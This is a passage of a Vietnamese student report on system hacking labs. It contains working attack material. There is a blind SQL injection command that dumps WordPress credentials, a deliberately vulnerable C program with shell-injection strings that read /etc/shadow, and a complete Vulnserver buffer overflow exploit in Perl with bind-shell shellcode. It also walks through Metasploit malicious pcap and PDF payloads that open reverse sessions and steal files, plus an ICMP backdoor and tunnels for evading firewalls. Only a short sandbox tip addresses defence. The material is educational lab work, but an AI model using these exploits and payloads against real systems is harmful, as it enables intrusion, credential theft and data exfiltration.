D:bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp-
admin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby
-sql "select concat(user_login,'//',user_pass) from wp_users limit 1" -match
"Blogroll" -type 2 -database 1 –cookie
"wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7C1337
529257%7Ca1ed46cc2ed3e3209c48e79f59b62316"
Extract username và password của user thứ 2 từ column user_login, user_pass từ
wp_users
D:bsqlbf>bsqlbf-v2-7.pl -url "http://192.168.1.100/wordpress/wp-
admin/edittags.php?taxonomy=link_category&orderby=10" -blind orderby
Đề Tài : SysTem Hacking 62
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
-sql "select concat_ws(0x7c,user_login,user_pass) from wp_users limit 1,2"
-match "Blogroll" -type 2 -database 1 –
cookie"wordpress_26033f6e23cd6a3c2b7b304d151778a3=Athena+Test%7
C1337529257%7Ca1ed46cc2ed3e3209c48e79f59b62316"
Đề Tài : SysTem Hacking 63
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Chƣơng 10 : Buffer Overflow
10.1 Single Buffer Overflow Lab
Ta sẽ tạo ra 1 đoạn code bị lỗi buffer overflow. Sau đó truyền vào với dữ liệu vào
trong biến nhiều hơn mức ta đã khai báo dẫn đến chương trình bị lỗi buffer overflow và
ta có thể thực thi được đoạn các dòng lệnh.
Quá trình thực hiện tại một PC linux.
Các bƣớc thực hiện:
o Source code chương trình và lưu lại thành file có tên là
dangerous_system_command.c
#include <stdio.h>
main() {
char *name;
char *dangerours_system_command;
name = (char *) malloc(10);
dangerours_system_command = (char *)malloc(128);
printf("Address of name is %dn", name);
printf("Address of command is %dn", dangerours_system_command);
sprintf(dangerours_system_command, "echo %s", "Hello world!");
printf("What's your name?");
gets(name);
system(dangerours_system_command);
}
o Biên dịch chương trình
#gcc ./dangerous_system_command.c -o dangerous_system_command
Đề Tài : SysTem Hacking 64
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
10.1.1 Thực thi chƣơng trình
Biến “name” được tính tổng cộng là 16 byte, bao gồm 10 byte do ta gán, cộng
thêm 6 byte của hệ thống.
Khi ta nạp vào hệ thống các ký tự có số lượng lớn hơn 16 byte thì ta có thểthực thi
được các lệnh ở sau 16 byte đó.
Ví dụ ta có thể thực thi được các lệnh sau để kiểm tra
1234567890123456cat /etc/passwd
1234567890123456cat /etc/shadow
1234567890123456/bin/sh
10.2 Kioptrix level 1 mod_ssl
Kioptrix là một hệ điều hành được tạo ra với mục đích sử dụng để học tấn công.
Kioptrix level 1 có lỗi buffer overflow trong module SSL của server web server Apache.
Sơ đồ :
Các bƣớc thực hiện :
o Scan nmap xác định các host đang có trong đường mạng bằng câu lệnh
“nmap –sP 192.168.1.1/24”. Ta xác định máy ta đang cần tấn công ở IP
192.168.1.238 như hình bên dưới
o Tiếp tục ta thực hiện quá trình scan chi tiết các thông số của IP
192.168.1.238 bằng câu lệnh “nmap –sS –sV –O 192.168.1.238 ”
o Ta thử scan lỗi ứng dụng web bằng công cụ nikto có sẵn trong Backtrack
với câu lệnh “./nikto.pl -host 192.168.1.238 -Display 124”
o Ta thu được kết quả scan lỗi như hình bên dưới. Và bước kế tiếp ta sẽkhai
thác lỗi “+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a
remote buffer overflow which may allow a remote shell (difficult to
exploit). CVE-2002-0082, OSVDB-756.”
o Ta sẽ tìm cách khai thác lỗi trong trang exploit-db.com. Để tìm code khai
thác, ta có thể install thêm add on exploit-db search vào firefox
Đề Tài : SysTem Hacking 65
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
o Tiếp tục ta sẽ search từ khóa openssl trong exploit-db và sử dụng code
OpenFuck V2.c
o Tiếp tục ta sẽ đi vào trang shared code exploit. Ta có thể vào trực tiếp với
đường link http://www.exploit-db.com/exploits/764/
o Cài đặt thêm gói “libssl-dev” để Backtrack 5 có đầy đủ thư viện ssl dùng
trong quá trình biên dịch
o Ta biên dịch chương trình chương trình bằng câu lệnh “gcc openfuck.c –o
openfuck –lcrypto ”. Tuy nhiên khi biên dịch chương trình sẽ bị lỗi ta
sẽthêm vào thư viện trong chương trình.
 Mở chương trình lên bằng câu lệnh “vim openfuck.c”
 Đi đến dòng 19, Copy, Paste 2 lần
 Thay đổi 2 dòng đó như sau
#include <openssl/rc4.h>
#include <openssl/md5.h>
 Đi đến dòng thứ 624 ta sẽ thấy chương trình sẽ download ptracekmod.c
từ trang packetstormsecurity.nl . Ta sẽ tìm chương trình này trên google,
đi vào trang
http://downloads.securityfocus.com/vulnerabilities/exploits/ptracekmod.
c , copy file này về máy.
 Thay thế đường dẫn download packetstormsecurity.nl bằng IP của
Apache Server trên máy Back Track 5 là 192.168.1.237.Hoặc ta có
thểsử dụng trực tiếp đường link
http://downloads.securityfocus.com/vulnerabilities/exploits/ptracekmod.
c
o Ta biên dịch lại chương trình, chạy kiểm tra file đã biên dịch. Ta tấn công
vào máy victim với IP 172.16.34.62, mã code 0x6b đại diện cho Red Hat
Linux
10.3 Buffer Overflow Wireshark 1.4.4
Tấn công buffer overflow chương trình wireshark với version nhỏ hơn phiên bản
1.4.4.
Tại máy victim ( Window XP ) ta sẽ cài đặt chương trình wireshark với phiên bản
1.4.3. Tại máy attacker ( Back track 5 ) ta sử dụng Metasploit để khai thác lỗi chương
trình.
Mô hình :
Đề Tài : SysTem Hacking 66
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Các bƣớc thực hiện :
o Chuẩn bị 1 file .pcap malicious
 Ta sử dụng metasploit để tạo ra file .pcap độc hại. Vào giao diện
console ta chọn dạng tấn công là
“exploit/windows/fileformat/wireshark_packet_dect”
 Ta chọn phương thức payload là “reverse_tcp” và gán các thông
sốLHOST, LPORT, FILENAME
 Nhập vào câu lệnh “exploit” thì chương trình sẽ tạo ra file
passwords.pcap tại vị trí “/root/.msf4/local”
 Ta copy file này ra Desktop để dễ dàng cho quá trình thao tác
o Cấu hình Metasploit quản lý kết nối .
 Ta sẽ sử dụng tính năng “multi/handler” với các giá trị LHOST và
LPORT tương ứng với các port ta đã định nghĩa ở trên
 Tại máy victim mở file passwords.pcap
 Attacker thực hiện phương án phát tán file passwords.pcap đến máy
victim
 Tại máy victim mở file passwords.pcap bằng chương trình Wireshark
1.4.3
 Tại máy attacker ta sẽ thấy xuất hiện 1 Meterpreter Sessions
10.4 Vulnserver
Vulnserver là một chương trình bị lỗi buffer overflow. Ta sẽ thực hiện các bước
kiểm tra lỗi, xác định địa chỉ EIP, ESP, chèn shellcode để khai thác lỗi chương trình.
Mô hình :
Đề Tài : SysTem Hacking 67
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Các bước thực hiện :
o Bước 1: Xác định chương trình bị lỗi buffer overflow. Trong bài lab này ta
sửdụng chương trình vulnserver, ta start chương trình trong máy Window
XP
 Từ máy Backtrack 5 ta thử telnet đến IP của Window XP ở port 9999.
Nhập vào từ “HELP” để kiểm tra các tính năng có trong chương trìnhCó
khá nhiều cách để xác định chương trình có bị lỗi buffer overflow.
Trong
 Backtrack 5 ta có thể sử dụng SPIKE, chương trình này được sử dụng
để gửi data liên tục đến các tính năng của chương trình. Đường dẫn đến
chương trình SPIKE trong Backtrack 5 “/pentest/fuzzers/spike/src”, sử
dụng chươngtrình ./generic_send_tcp . Ta thử start chương trình
 Để hoạt động ta phải viết scripts có file mở rộng là *.spk để kết nối vào
các function trong chương trình. Ví dụ ta kết nối vào function STATS
của chương trình với scripts như sau
root@bt:~# nano ~/stat.spk
s_readline();
s_string(“STATS ”);
s_string_variable(“COMMAND”);
 Tiếp tục ta sử dụng generic_send_tcp đọc file scripts để gửi data đến
chương trình với câu lệnh như sau “./generic_send_tcp 192.168.100.113
9999 ~/stat.spk 0 0” . Ta thấy chương trình không bị lỗi.
 Tiếp tục ta thử tính năng TRUN. Viết lại một script mới có nội dung
như bên dưới và sử dụng generic_send_tcp tạo kết nối đến chương trình
vulnserverroot@bt:~# nano ~/trunk.spk
s_readline();
s_string(“TRUN ”);
s_string_variable(“COMMAND”);
Đề Tài : SysTem Hacking 68
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
 Hoặc đơn giản hơn ta thực thi đoạn perl script để gửi data với kích
thước do ta xác định như sau
#!/usr/bin/perl
use IO::Socket;
if($ARGV[1] eq '')
{
die("Usage: $0 ipaddress port nn");
}
$baddata="TRUN .";
$baddata.="A"x $ARGV[2];
$socket=IO::Socket::INET->new(
Proto=> "tcp",
PeerAddr=>"$ARGV[0]",
PeerPort=>"$ARGV[1]"
)or die"Can not connect to $ARGV[0]:$ARGV[1]";
$socket->recv($serverdata,1024);
print"$serverdata";
$socket->send($baddata);
o Bước 2: sử dụng perl script thử kết nối đến máy victim XP có IP
192.168.1.103/24 và gửi 5000 bytes dữ liệu thì chương trình bị crash.
 Tiếp tục ta thử với 2000 byte dữ liệu thì chương trình không bị crash
 Kiểm tra với 3000 byte dữ liệu thì chương trình bị crash
 Như vậy trong khoảng 2000 – 3000 byte thì chương trình bị crash.
o Bước 3: Sau khi xác định được ứng dụng đó bị lỗi stack overflow ta sẽ thực
hiện các bước sau:
 Tìm kiếm 4 byte bên trong data gửi. Nó được sử dụng đểoverwrite
return address. Vì vậy ta có thể thiết lập EIP đến một giá trị đã được
chọn.
Đề Tài : SysTem Hacking 69
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
 Tìm kiếm code mà ta muốn thực thi. Ta có thể sử dụng code có sẵn
trong hệ thống hoặc thêm vào code của mình. Ở đây ta sửmsfpayload
kết hợp msfencode để tạo ra code.
 Tìm kiếm cách điều khiển EIP để code hoạt động theo ý mình mong
muốn. Bởi vì giá trị EIP sẽ bị overwrite với 1 giá trị đã được lập trình
trước. Ta không thể đoán được chính xác địa chỉ trong vùng nhớ mà
code chương trình thực thi. Ta sẽ thử tìm kiếm nhiều lần để xác định giá
trị vùng nhớ.
 Ta sẽ xác định chính xác bytes bằng cách sử dụng chuỗi “A” để
overwrite return address.
o Bước 4: Tìm kiếm địa chỉ overwrite. Có nhiều cách để xác định số byte
chính xác mà chương trình sẽ bị lỗi. Ta có thể sử dụng pattern_create.rb và
pattern_offset.rb có trong metasploit. Pattern_create.rb được sử dụng
đểsinh ra các chuỗi từ theo A-Z, a-z, 0-9 với độ dài ta xác định.
Pattern_offset.rb được sử dụng xác định chuyển đổi giá trị EIP thành
sốlượng byte mà chương trình sẽ bị crash.
 Ta sử dụng Pattern_create.rb để tạo ra 3000 byte dữ liệu. Sau đó sử
dụng chuỗi sinh ra trên màn hình làm data gửi đến chương trình. Copy
đoạn chuỗi vào perl script để gửi data.
#!/usr/bin/perl
use IO::Socket;
if($ARGV[1] eq '')
{
die("Usage: $0 ipaddress port nn");
}
$baddata="TRUN .";
$baddata.="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A
b3Ab4ABs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6
Bt7Bt8Bt9Bu0Bu9………..";
$socket=IO::Socket::INET->new(
Proto=> "tcp",
PeerAddr=>"$ARGV[0]",
PeerPort=>"$ARGV[1]"
Đề Tài : SysTem Hacking 70
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
)or die"Can not connect to $ARGV[0]:$ARGV[1]";
$socket->recv($serverdata,1024);
print"$serverdata";
$socket->send($baddata);
 Ở máy XP sử dụng chương trình Ollydbg để mở chương trình
vulnserver. Backtrack 5 thực hiện gửi 3000 byte dữ liệu đến máy XP.
Sau đó tìm kiếm giá trị EIP khi chương trình bị crash ( ở bảng Register
(FPU) ) Giá trị EIP 396F4338
 Ta chuyển đổi xem ứng với giá trị EIP 396F4338 thì tương ứng với bao
nhiêu
 byte. Sử dụng công cụ pattern_offset.rb để convert EIP 396F4338 thì
tương ứng 2006 bytes.
 Giả sử số 2006 byte là con số có thể overwrite EIP, ta có thể kiểm tra
bằng cách gửi 2006 ký tự là chữ A, sau đó là 4 byte ký tự chữ B, còn lại
là ký tựchữ C. Ta thực thi perl script sau
#!/usr/bin/perl
use IO::Socket;
if($ARGV[1] eq '')
{
die("Usage: $0 ipaddress port nn");
}
$baddata="TRUN .";
$baddata.="A"x 2006;
$baddata.="B"x 4;
$baddata.="C"x (3000 - length($baddata));
$socket=IO::Socket::INET->new(
Proto=> "tcp",
PeerAddr=>"$ARGV[0]",
PeerPort=>"$ARGV[1]"
Đề Tài : SysTem Hacking 71
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
)or die"Can not connect to $ARGV[0]:$ARGV[1]";
$socket->recv($serverdata,1024);
print"$serverdata";
$socket->send($baddata);
=>Như vậy ta đã overwrite được EIP với giá trị 42424242
o Bước 5: Xác định vị trị đặt mã độc. Dựa trên kết quả trên màn hình ollydbg
thì ta đã chèn vào trong chương trình hàng loạt ký tự C . Đây chính là vị trí
đểta đặt code thực thi mã độc. Ta sử dụng công cụ mspayload kết hợp
msfencode để sinh ra code và thay thế các ký tự C bằng mã độc
này.root@bt ~# msfpayload windows/shell_bind_tcp LPORT=4444 R |
msfencode -b x00x0Ax0D -t perl
xbax18x31x19xb2xdbxdaxd9x74x24xf4x5bx33xc9"
."xb1x56x31x53x13x83xebxfcx03x53x17xd3xecx4e"
."xcfx9ax0fxafx0fxfdx86x4ax3ex2fxfcx1fx12xff"
."x76x4dx9ex74xdax66x15xf8xf3x89x9exb7x25xa7"
."x1fx76xeax6bxe3x18x96x71x37xfbxa7xb9x4axfa"
."xe0xa4xa4xaexb9xa3x16x5fxcdxf6xaax5ex01x7d"
."x92x18x24x42x66x93x27x93xd6xa8x60x0bx5dxf6"
."x50x2axb2xe4xadx65xbfxdfx46x74x69x2exa6x46"
."x55xfdx99x66x58xffxdex41x82x8ax14xb2x3fx8d"
."xeexc8x9bx18xf3x6bx68xbaxd7x8axbdx5dx93x81"
."x0ax29xfbx85x8dxfex77xb1x06x01x58x33x5cx26"
."x7cx1fx07x47x25xc5xe6x78x35xa1x57xddx3dx40"
."x8cx67x1cx0dx61x5ax9fxcdxedxedxecxffxb2x45"
."x7bx4cx3bx40x7cxb3x16x34x12x4ax98x45x3ax89"
."xccx15x54x38x6cxfexa4xc5xb9x51xf5x69x11x12"
."xa5xc9xc1xfaxafxc5x3ex1axd0x0fx49x1cx1ex6b"."x1axcbx6
3x8bx8dxdcxedx6dxc7xf2xbbx26x7fx31"
."x98xfex18x4axcax52xb1xdcx42xbdx05xe2x52xeb"
."x26x4fxfax7cxbcx83x3fx9cxc3x89x17xd7xfcx5a"
."xedx89x4fxfaxf2x83x27x9fx61x48xb7xd6x99xc7"
."xe0xbfx6cx1ex64x52xd6x88x9axafx8exf3x1ex74"
."x73xfdx9fxf9xcfxd9x8fxc7xd0x65xfbx97x86x33" .
"x55x5ex71xf2x0fx08x2ex5cxc7xcdx1cx5fx91xd1"
."x48x29x7dx63x25x6cx82x4cxa1x78xfbxb0x51x86"
."xd6x70x61xcdx7axd0xeax88xefx60x77x2bxdaxa7"
Đề Tài : SysTem Hacking 72
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
."x8exa8xeex57x75xb0x9bx52x31x76x70x2fx2ax13"
."x76x9cx4bx36
o Bước 6: Chuyển hướng chương trình thực thi mã độc. Theo lý thuyết nếu
như ta đã xác định chính xác địa chỉ stack, tại địa chỉ này được sử dụng
đểlưu trữ code thực thi mã độc, thì ta đơn giản overwrite EIP address để
thực thi code. Tuy nhiên trong Window thì việc này không dễ dàng. Ta sẽ
sử dụng chương trình Ollydbg để hỗ trợ cho ta việc này. Các việc ta cần
phải làm là thay thế các ký tự “C” bằng mã độc. Thay thế ký tự B ( được sử
dụng đểoverwrite EIP ) bằng “JMP ESP” instruction . Như vậy CPU sẽ
thực thi “JMP ESP” được sử dụng để sau đó chuyển hướng thực thi mã độc.
“ JMP ESP ” được lưu trữ trên bộ nhớ và kết nối vào ESP register
 Các bước tìm ESP register address. Window XP, sử dụng Ollydbg
mởvulnserver. Tại máy Backtrack 5 thực hiện gửi lại 2006 Byte chữ A,
4 Byte chữ B và phần còn lại là chữ C đến máy Window XP. Ta có
được màn hình như sau Tiếp tục ta chọn View, chọn Execute Module
Double Click vào dòng có chữ essfunc.dll và search “JMP ESP” Giá trị
ESP 625011AF
o Bước 7: Perl Script để khai thác lỗi chương trình.Thông qua các thông số
thu thập được ở trên, ta sẽ có script khai thác:
#!/usr/bin/perl
use IO::Socket;
if($ARGV[1] eq '')
{
die("Usage: $0 ipaddress port nn");
}
$baddata="TRUN .";
$baddata.="A"x 2006;
$baddata.=pack('V',0x625011AF);
$baddata.="x90" x 16;
$baddata.="xbax18x31x19xb2xdbxdaxd9x74x24xf4x5bx33x
c9" .
"xb1x56x31x53x13x83xebxfcx03x53x17xd3xecx4e" .
Đề Tài : SysTem Hacking 73
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
"xcfx9ax0fxafx0fxfdx86x4ax3ex2fxfcx1fx12xff" .
"x76x4dx9ex74xdax66x15xf8xf3x89x9exb7x25xa7" .
"x1fx76xeax6bxe3x18x96x71x37xfbxa7xb9x4axfa" .
"xe0xa4xa4xaexb9xa3x16x5fxcdxf6xaax5ex01x7d" .
"x92x18x24x42x66x93x27x93xd6xa8x60x0bx5dxf6" .
"x50x2axb2xe4xadx65xbfxdfx46x74x69x2exa6x46" .
"x55xfdx99x66x58xffxdex41x82x8ax14xb2x3fx8d" .
"xeexc8x9bx18xf3x6bx68xbaxd7x8axbdx5dx93x81" .
"x0ax29xfbx85x8dxfex77xb1x06x01x58x33x5cx26" .
"x7cx1fx07x47x25xc5xe6x78x35xa1x57xddx3dx40" .
"x8cx67x1cx0dx61x5ax9fxcdxedxedxecxffxb2x45" .
"x7bx4cx3bx40x7cxb3x16x34x12x4ax98x45x3ax89" .
"xccx15x54x38x6cxfexa4xc5xb9x51xf5x69x11x12" .
"xa5xc9xc1xfaxafxc5x3ex1axd0x0fx49x1cx1ex6b" .
"x1axcbx63x8bx8dxdcxedx6dxc7xf2xbbx26x7fx31" .
"x98xfex18x4axcax52xb1xdcx42xbdx05xe2x52xeb" .
"x26x4fxfax7cxbcx83x3fx9cxc3x89x17xd7xfcx5a" .
"xedx89x4fxfaxf2x83x27x9fx61x48xb7xd6x99xc7" .
"xe0xbfx6cx1ex64x52xd6x88x9axafx8exf3x1ex74" .
"x73xfdx9fxf9xcfxd9x8fxc7xd0x65xfbx97x86x33" .
"x55x5ex71xf2x0fx08x2ex5cxc7xcdx1cx5fx91xd1" .
"x48x29x7dx63x25x6cx82x4cxa1x78xfbxb0x51x86" .
"xd6x70x61xcdx7axd0xeax88xefx60x77x2bxdaxa7" .
"x8exa8xeex57x75xb0x9bx52x31x76x70x2fx2ax13" .
"x76x9cx4bx36";
$socket=IO::Socket::INET->new(
Đề Tài : SysTem Hacking 74
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Proto=> "tcp",
PeerAddr=>"$ARGV[0]",
PeerPort=>"$ARGV[1]"
)or die"Can not connect to $ARGV[0]:$ARGV[1]";
$socket->recv($serverdata,1024);
print"$serverdata";
$socket->send($baddata);
 Sau khi thực thi script thì máy victim sẽ mở port 4567. Ta có thể telnet
vào máy Window XP ở port 4567.
Đề Tài : SysTem Hacking 75
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Chƣơng 11 : Evade IDS Firewall
11.1 Reverse ICMP Backdoor
Thông thường giao thức ICMP thường được sử dụng để kiểm tra đường truyền.
Nếu như một firewall cho phép ICMP hoạt động thì attacker có thể lợi dụng đường này
để điều khiển máy attacker.
Sơ đồ :
Các bƣớc thực hiện:
o Bước 1: Sử dụng một máy Linux làm master. Máy Linux có IP là
192.168.1.100
 Tại máy Linux ta cần install thêm thư viện Python Impacket library để
hoạt động được chương trình. Ta có thể download tại đường link
http://oss.coresecurity.com/projects/impacket.html
root@nhanld-virtual-machine:/home/nhanld/Desktop# tar xvf Impacket-
0.9.6.0.tar.gz
root@nhanld-virtual-machine:/home/nhanld/Desktop# cd Impacket-
0.9.6.0
root@nhanld-virtual-machine:/home/nhanld/Desktop/Impacket-
0.9.6.0#python ./setup.py install
 Để chương trình hoạt động tốt ta sẽ disable ICMP Rely trong kernel
Linux
root@nhanld-virtual-machine:/home/nhanld/Desktop# sysctl -w
net.ipv4.icmp_echo_ignore_all=1
o Bước 2: Khởi động ICMP master tại máy Linux bằng câu lệnh “python
icmpsh_m.py 192.168.1.100 192.168.1.10” với IP 192.168.1.100 là IP
master (Linux), 192.168.1.10 (Window) là IP PC Slave
Đề Tài : SysTem Hacking 76
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
o Bước 3: Tại máy Window XP đóng vai trò là Slave sẽ kết nối đến ICMP
Master.
-t : kết nối đến host master
-d: độ trễ request là 500 miliseconds
-b: maximum kết nối
-s: maximum data trong buffer size
o Bước 4: Tại máy Linux Master sẽ có được giao diện dòng lệnh đều khiển
máy Window XP
11.2 SSH Tunnel
Giao thức SSH (TCP/22) thường được sử dụng để quản trị các máy chủ linux. Các
rule firewall cũng thường cho phép giao thức SSH. Nhưng SSH mặc định cho phép
truyền một giao thức khác bên trong ssh tunnel của nó. Các attacker có thể lợi dụng việc
này để vượt qua firewall.
Mô hình luận lý :
Đề Tài : SysTem Hacking 77
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Các bƣớc thực hiện :
o Bước 1:Ở bài lab này ta sẽ sử dụng một máy Linux đóng vai trò làm SSH
Server. Một máy PC đóng vai trò làm Client. Ta sẽ thử login vào một host
nào đó đểkiểm tra quá trình kết nối.Tại SSH Server ta cấu hình IP là
192.168.100.117/24 và default gateway là 192.168.100.254. Sau khi cấu
hình xong ta kiểm tra các thông số
o Bước 2: Tại máy client ta sẽ sử dụng chương trình Putty để login. Sau đó
cấu hình tính năng Port forwarding
o Bước 3: Ta chọn vào mục Tunnel, Check vào nút Auto và Dynamic. Tại
Source Port, ta nhập vào port bất kỳ. Ở đây ta nhập vào port là 9090 .Click
Add và login vào SSH Server
o Bước 4: Kiểm tra trạng thái kết nối tại máy PC bằng câu lệnh netstat –ano.
Tiếp tục ta sẽ thấy rằng máy tính đang Listen ở port 9090 ứng với IP
localhost
o Bước 5: Cấu hình sử dụng Proxy Sock 5 tại trình duyệt Web hoặc ta có thể
cấu hình Yahoo Messenger sử dụng làm Proxy
o Bước 6: Nếu như ta sử dụng giao diện dòng lệnh của linux, ta có thể sử
dụng câu lệnh bên dưới
[nhanld@linux ~]$ sudo ssh -L 127.0.0.1:40000:192.168.200.99:3389
root@192.168.200.199
[nhanld@linux ~]$ sudo rdesktop -f -u nhanld -p password
127.0.0.1:40000
o Bước 7: Nếu Sử dụng Bitvise Tunnel, đầu tiên ta cấu hình tạo kết nối SSH
đển SSH Server
 Tiếp tục ta cấu hình Port Forwarding trên Bitvise Tunnel
 Cuối cùng, ta dùng câu lệnh mstsc /v:127.0.0.1:5000 để kết nối đến máy
Window
o Bước 8: Nếu như ta thực hiện trên công cụ SecureCRT Ta chọn options,
chọn session options
 Ta chọn tính năng port forwarding và click nút Add
 Cuối cùng, ta dùng câu lệnh mstsc /v:127.0.0.1:6000 để kết nối đến máy
Window192.168.2.99
Đề Tài : SysTem Hacking 78
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
11.3 Stunnel
Ta sử dụng chương trình stunnel để tạo ra một SSL Tunnel giữa máy Window và
Linux.
Máy Window đóng vai trò là Stunnel Server và máy linux ( Backtrack 5 ) đóng vai
trò là Stunnel client. Sau khi thiết lập được kết nối stunnel ta sẽtruyền một giao thức khác
hoạt động bên trong stunnel.
Mô hình :
Các bƣớc thực hiện:
o Chuẩn bị các kết nối theo thông số ví dụ bên dưới
 Máy Win XP ( 192.168.100.1) làm Stunnel Server
 Máy Backtrack 5 ( 192.168.100.2 ) là Stunnel Client
 Sử dụng netcat gửi traffic trong Stunnel
o Cấu hình tại Window XP đóng vai trò là Stunnel Server
 Install các software cần thiết cho XP
 Nếu như Stunnel không tạo ra Certificate thì ta sử dụng lệnh bên dưới
để tạo Certificate . sử dụng giao diện dòng lệnh của OpenSSLOpenssl
req-x 509 -nodes -days 3650 -newkey rsa:2048 -keyout stunnel.pem -
out stunnle.pem
o Thay đổi thông số file stunnel.conf . ghi thêm vào trong cấu hình server
 Accept : port chương trình Stunnel hoat động ở port 1234
 Connect : port của chương trình hoạt động thông qua Stunnel .
 Giả sử ta đang sử dụng netcat hoạt động ở port 5678
 Kích hoạt stunnel hoạt động: chuột phải vào Stunnel và chọn Reload
 stunnel.conf
 Kiểm tra port đang listen ở Stunnel server bằng câu lệnh “ netstat –bano
| find “1234” “
 Khởi động netcat listen ở port 5678
o Cấu hình Stunnel Client mode trên máy Backtrack5. Ta chuyển đến vị trí “
/usr/local/etc/stunnel ” và chuyển tên file lại thành stunnel.conf
o Cấu hình tạo Certificate bằng câu lệnh openssl như hình bên dưới.
Đề Tài : SysTem Hacking 79
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
o Cấu hình file stunnel.conf
 Thay đổi các giá tri trong file stunnel.conf
; Certificate/key is needed in server mode and optional in client
mode
cert = /usr/local/etc/stunnel/stunnel.pem
sslversion = TLSv1
;SSL client mode
client = yes
# thêm vào giá trị
Connect : Kết nối đến máy IP máy win XP Stunnel server mode ở port1234
Accept : Port chương trình netcat sẽ kết nối ở localhost ở port 5678
o Kích hoạt Stunnel Win XP ta thấy kết nối từ máy 192.168.100.2
Đề Tài : SysTem Hacking 80
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Chƣơng 12 : Hƣớng dẫn tấn công máy victim bằng file pdf
12.1 Hƣớng dẫn tấn công
Gõ lệnh msfconsole để khởi động metaploit
Vì đây là lỗi trong mang LAN nên yêu cầu ip máy backtrack phải cùng lớp với IP
máy victim
Gõ lệnh ifconfig để xem IP
Đề Tài : SysTem Hacking 81
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Ta dùng lệnh ipconfig để xem IP máy victim
Sau đó ping địa chỉ IP máy backtrack xem nó thấy nhay hay không
Sau khi metaploit khởi động xong , gõ tiếp câu lệnh :
Use exploit/windows/fileformat/adobe_pdf_embedded_exe ( để chọn lỗi mà ta sẽ
dùng để tấn công )
Gõ tiếp : show options
Đề Tài : SysTem Hacking 82
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Sau khi show options , nó sẽ đưa ra các thông tin về lỗi mà chúng ta dùng
Set filename : nghĩa là đặt tên cho file chứa mã đọc
Set infilename : chuyển đổi từ file pdf mà chúng ta chuẩn bị từ trước
Set payload : kiểu tấn công
Set Lhost : gõ ip máy mình vào ( ở đây là 192.168.183.128 )
Dùng lệnh exploit để thực thi
Đề Tài : SysTem Hacking 83
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
cp /root/.msf4/local/hack.pdf /root/Desktop : câu lệnh này sẽ tạo ra 1 file pdf
chứa mã đọc có tên là hack.pdf , và nó được đặt ngay ngoài Desktop
use exploit/multi/handler : tạo 1 phiên lắng nghe
Set lại lhost ( với IP giống IP mà chúng ta sét ở trên ) rồi sau đó exploit là xong
Chỉ cần gửi file chứa mã đọc đến máy nạn nhân , khi nạn nhân mở file nó sẽ yêu
cầu save lại , rồi hỏi có muốn open hay ko , chỉ cần nhấn open thì máy sẽ bị tấn
công
Đề Tài : SysTem Hacking 84
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Máy backtrack đã xâm nhập thành công , và nó gửi 1 file ( 752128 byte ) đến máy
victim
Ta dùng lệnh : cd C:/ ( lệnh này sẽ di chuyển đến ổ C của máy victim )
Dùng lệnh : ls ( liệt kê tất cả các tập tin trong ổ C )
Đề Tài : SysTem Hacking 85
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Trên máy victim ta vào ổ C tạo 1 file tên taikhoan.txt ( nội dung trong file là id :
tho pass:123456 )
Trên máy backtrack dùng lệnh ls để liệt kê lại thì thấy file taikhoan.txt
Dùng lệnh : download C:/taikhoan.txt /root/Desktop/
( câu lệnh này sẽ download file taikhoan.txt từ ổ C của máy victim và đặt trên
Desktop của chúng ta )
Đề Tài : SysTem Hacking 86
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
12.2 Cách phòng chống
Tải phần mêm sandbox về máy
Sau đó ta tiến hành cài đặt , và đây là giao diện của phần mềm sandbox
Đề Tài : SysTem Hacking 87
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Nếu bạn nghi ngờ file nào không đáng tin cậy thì bạn bỏ vào trong , ở đây ta sẽ
chạy file hack.pdf khi nãy
